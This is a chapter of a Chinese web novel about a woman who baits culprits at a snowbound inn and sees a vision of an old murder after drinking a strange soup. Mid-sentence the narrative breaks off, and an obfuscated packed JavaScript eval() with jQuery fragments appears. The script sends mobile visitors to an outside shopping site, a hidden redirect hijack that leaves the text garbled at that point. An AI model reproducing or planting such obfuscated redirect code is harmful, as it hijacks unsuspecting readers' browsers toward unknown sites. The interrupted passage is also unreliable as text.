“那我来当诱饵,会会这客栈里的牛鬼蛇神。”
言菱说来就来,当下立即与董百事商量完,便开始布置一切。
“眼下刚有人自缢,只怕有心人不会露头。”董百事有些担心,这里通常出事后都会消停几个月。
“那就要看,我们下的诱饵够不够大了。”
晌午时分,魏临带着手下众人运走了柴房里的尸体,对外宣称是自缢身亡。
搬走尸体的时候,还发生了小插曲,尸体脚上的靴子碰巧掉到了言菱身边。她将靴子递还给差役,一行人才离开。
官差匆匆结案,众人不疑有他,只当是官差敷衍。
魏临一行人走了,同乐客栈又恢复了热闹。
冬娘坐在柜台后,噼啪拨着算盘,听着算盘音,就知她心情不好。
天字五号房内狼藉遍地,窗框坏了、雕花大床床柱断了、花盆架折了腿、地上墙上床上到处都是泥脚印和着血迹。
冬娘的心在滴血,这一桩桩一件件,恢复成原样起码得十两银子!
十两银子!这间上房一个月才能挣几两银子?店里这么多伙计的嚼用,一个月也不过一两出头。
别再让她看见那两个客人,不然她豁出去了,非得扒了他们的皮,哼!
言菱来到柜台前,装作没看见冬娘阴沉的脸色,自顾自将锭银子放到冬娘面前柜台上。
十两官银挺着大胖肚,明晃晃的勾人眼馋,银锭底下还有官府的印戳。
冬娘犹疑的看着言菱:“客官,您这是?”
言菱故作羞怯一笑,扭捏的攥着衣角:“掌柜的,我说了你别笑我。”
冬娘目不转睛的盯着柜台上的银锭,闻言抬头看向言菱:“哎呀,您有事直说,能做的都给您办咯。”
别看这言小娘子刚来时冷冰冰的,这会儿有事求人,表情就生动多了。冬娘看着言菱故作忸怩的样子,心里有些酸更多的是苦,越看越觉得岁月残忍催人老。
同样的表情,她这个半老徐娘做起来只有做作,人家小姑娘反而看起来满是娇憨,真是一副好皮囊:“我冬娘办事,一向是有钱好商量,您只管说。”
言菱又将银锭往冬娘面前推了推,惴惴开口:“我家中管的甚严,不瞒你说我是偷偷从家中跑出来的。我听闻南门镇这边林子里有种野香猪,烤起来特别好吃,我就是为这个而来的。”
“可惜如今雪越下越大,我又不便再深入林间。所以我想麻烦掌柜的安排人,帮我去找找附近猎户,买只野香猪回来打打牙祭。”
野香猪这玩意,冬娘知道,确实是这附近的特产。此猪身体比家猪小巧,形似家猪幼崽,皮紧肉筋道。因它常食南门镇山林间的一味野香料,烹饪后自带异香。
若是平时,冬娘倒不一定能赚到这银子。毕竟这野香猪很是紧俏,猎户抓到都会送到镇上的大酒楼。
就算去镇上的大酒楼,也不是谁都能吃到。只有那些大主顾,偶尔能遇上那么一两回,确实是可遇而不可求的稀罕物。
不过巧了,这几日天气不好,大雪下个不停。猎户出行不便,说不定真有人家中屯着这野物呢。
冬娘眼睛滴溜一转,故作为难:“这个我倒是听说过,不过你也说了雪越来越大,我派人去寻,也是要下大力气的,这银子嘛……”
“银子好说,”言菱抬手抖抖衣袖,豪气的说:“只要掌柜的你帮我找来,这十两银子当做定金,再多付你些银子都没问题。”
冬娘盯着言菱鼓鼓囊囊的袖袋,面上了然:“好说好说,我安排伙计去问问。”
她将桌上的银锭抓起来,高兴的从柜台下拿起戥子称了称,刚刚好十两。
冬娘这下心里踏实多了,也不去想天字五号房的糟心事,扯着嗓子呼唤:“阿大,阿大,你来一下。”
正在前院内扫着地的阿大放下扫帚,小跑进了大堂,停在柜台前:“掌柜的,你找我有事?”
“呐,这是包碎银子。”冬娘从前襟掏出个荷包,递给阿大:“你拿着去南门沟瞅瞅,看看谁家屯了野香猪,买一只回来。要是南门沟没问着,你找个船夫,往南门岛上去转转,一定要买到,听见没?”
阿大接过荷包憨憨点头,抬腿正准备走,又被冬娘拉住:“你要去了南门岛,再收点那个,知道吗?”
“那个?”阿大挠挠头,有些懵懵的。
冬娘冲言菱抱歉的笑笑,将阿大拉扯到一边,提醒道:“就是嬷嬷常用的那个,知道吗?放汤里用的。”
“哦哦哦。”阿大点头应和着掌柜交代的话,也不知是真听懂了还是糊弄。他三两步就跑到前院马厩,牵出高大的骡子,便朝院外走去。
冬娘与言菱目送阿大的身影消失在院门,冬娘先开了口:“这里离南门沟不远,骑着骡子一个时辰就能到了。阿大要是能买到,晚饭就能吃上了。”
言菱点头,买野香猪本来就是她故意漏财做的动作,只不过恰好能派上用场的借口。十两银子掏出来,大堂内不少人看到了,但愿派上用场。
野香猪虽是稀罕物,但她在家里也吃过几次,确实口感不错。
“掌柜的,你跟阿大说的那个,熬汤用的是什么呀?”言菱有些好奇,问:“今晚要熬什么汤吗?”
“哎呀,叫什么掌柜的,我看你投缘,以后你就叫我冬娘,我唤你菱妹子,如何?”冬娘想着自己马上就要大赚一笔,心胸一下子开阔起来:“这野香猪烤起来最是好吃,皮焦里嫩酥脆可口,剔出来的骨头炖汤最是滋补。”
冬娘怎么看言菱怎么高兴,这可是大财主,得哄好了。
言菱为了计划能顺利进行,又道:“掌…冬娘,等野香猪到了,你也通知下客栈里的其他客人,大家一起分着吃吧。”
“大冷的天,反正我一个人也吃不完。咱们都分口热乎的。”要让每个人都知道她出的钱,她很有钱才行呀。
“菱妹子你真是大好人,人美心又善。”冬娘笑眯眯的抓起言菱一只手,像是欣赏玉器般慢慢的摩挲着。
言菱被冬娘说的脸红,咳,她哪有那么好,她只是想早些完成同乐客栈的悬赏。她有些不好意思想抽回手,却兀地手掌一痛。
“哎呀哎呀,对不住了妹子,是我手指甲太长,不小心划到你了。”冬娘满脸歉意的掏出绣帕帮言菱捂住伤口:“快来,进我屋子抹点药。哎呀,这细皮嫩肉的,可别留下疤了。”
“不了,不了。”言菱抽回手,将绣帕还给冬娘。不过一道血痕,看样子只是伤了皮,言菱也没那么娇气:“一点小伤,等会你把野香猪烤的香喷喷的,说不定吃完我就好了。”
冬娘攥着帕子,表情有些紧张,像是怕言菱生气。听到言菱这么说,眉头才慢慢松开,她抬起绣帕捂住自己的嘴:“菱妹子放心。”
绣帕后,冬娘拇指的指甲狠狠掐入食指的肉里,食指指腹惨白。
阿大再次回到客栈时,已近戌时。莹白的月亮高挂,色泽油润如肥厚的野香猪五花肉。
前院的雪都被扫尽,清理干净的野香猪已经加上烤架上,刘小六殷勤的旋转着烤架。
同乐客栈的前院里弥漫着香喷喷的烤肉味,客人们或站或坐聚在廊下,气氛甚是和睦。
大家都已吃过晚饭,此刻不过是听闻有稀罕物,凑在一块享享口福。
御家的八人没有露面,想是不稀罕。也对,御家可是有一个太妃一个贵妃在宫中,他们什么稀罕物没见过。
董百事跟一群跑商挤作一团,嘀嘀咕咕的分享着各自的见闻。
一阵儿香味飘来,薄嬷嬷端着碗汤从厨房走出来,见言菱兴致勃勃的看着烤猪,便朝她走来。
“来来来,小娘子,掌柜的吩咐我给你端碗热汤尝尝。”
“老婆子,我们可都在这等着呢,热汤怎么没我们的份。”骆老头嘻嘻哈哈的开着薄嬷嬷的玩笑。
薄嬷嬷横了骆老头一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032551|148838||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
眼,目光灼灼的盯着言菱接过汤,她候在一边催促:“快喝,好东西哩。”
奇异的香气从汤碗里传来,清亮的汤水底沉着几块肉骨。汤面上浮着两瓣煮开的秀美花瓣,形状秀美宛若双生:“这是什么花,我竟从未见过呢。”
“没什么,就是乡下土产,熬汤时放些提鲜。没多少哩,先给贵客喝。”薄嬷嬷谄媚的笑着,黑洞洞的嘴咧的大大的,露出零星几颗牙齿。
言菱沿着碗沿,轻抿一口汤水,香气顺着咽喉浸入胃里,胃里的暖意丝丝缕缕四散开来。
眼前突然浮现一座朴素的院子,院子的篱笆使用削好的竹子围成。篱笆一侧插着高高的竹竿,竹竿上迎风飘舞的旗帜上绣着同乐客栈四个字,院内是一排土房子。
竹篱笆内,欢快的公鸡母鸡啄来啄去;篱笆外,几只肥短的绿头鸭,嘎嘎抢食着泥土里的蚯蚓。
身材高挑的少女端着碗走出房子,她轻声呼唤着鸡群。一边从碗里抓起小米朝外撒着,一边伸长脖子朝篱笆外的小路看着。
“姐姐,你不要等了。那负心郎跟人在后山庙里私会呢。”
与少女身材相仿的少女不知从哪冒了出来,她抢过少女手里的碗:“不信的话,你现在就去后山,他们还在那呢。”
“你瞎说,庆郎去赶考了,不可能跟别人私会。”少女嘴上不信妹妹,行动却很诚实,她匆忙将手上的碗往妹妹手中一塞,急慌慌的朝山上跑去。
山中破旧古庙内,一对年青男女背朝庙门亲密的依偎在一处。远远看着背影十分和谐,走近了仔细观察,才会发现他们姿势有些奇怪,好好的椅子不做,双双坐在庙内空无一物的地面上。
“庆郎。”少女抽噎着向男人扑去,没有注意到男女之间诡异的沉默。
年青男人被少女碰触,如同多米诺骨牌一般连同身旁的年轻女人侧向一边,两人双双歪倒在地。
歪躺在地面的年轻男人面部狰狞,青紫的舌头伸的长长的,曾经俊秀的脸一片灰白。
年轻女人胸前血肉模糊,满面惊恐瞪大双眼,早已气息全无。
少女吓呆在原地,连踢到地上沾血的匕首都没有发现。
“姐姐,你跑得太快了,让妹妹追的累死了。啊,怎么死人了,啊啊啊,姐姐你怎么杀人啊!”
少女听到妹妹的惊叫,猛然回过头来,赫然是薄嬷嬷年轻时的样子。
画面飞快闪过,言菱恍惚间听到有人在唤自己。
“小娘子,小娘子,汤可还合口味?”眼前的景象渐渐散开,言菱怔怔的看着眼前的手,是薄嬷嬷伸手在言菱眼前晃来晃去。
“哦,挺,挺好喝的。”言菱呆呆地回应着,回过神来一口气喝完汤,眼前再也没有浮现更多的景象了:“我有些乏了,不知肉何时烤好?”
野香猪的肉香越来越浓郁,眼前的同乐客栈跟她刚才突然看到的景象截然不同,言菱没了胃口。
薄嬷嬷对此一无所知,她热情的跑到烤猪架旁吩咐刘小六割下小块烤猪肉,殷勤的递予言菱:“小娘子,天寒地冻的,你快吃了肉去休息吧,这里有我呢,我一准公平的将肉分给大家伙吃。”
言菱道过谢,接过烤肉便吃了起来,新鲜的烤肉只撒了些盐巴。虽然没有言府做的滋味好,却也别有一番滋味。
吃完野香猪肉,言菱心事重重的回了自己住的伙计房。
董百事抓着块烤猪肉大快朵颐,嘴里吃着肉,眼睛在院内每个人身上扫来扫去。
当他的视线扫过烤肉架旁,眼神突然一滞,喉咙哽住呛咳起来。他紧盯着地上纵横交错的人影,想起自己曾看过的一本手记的记录,心中有些不好的预感。
咳咳咳,董百事努力平复喉间痒意。言菱此时已经不在院内,想是已经按计划回到那个伙计房去休息了。
董百事吞下最后一口烤猪肉,一边嗦着手指一边心里默默祈祷,但愿他们下的鱼饵,钓出的不是那个人。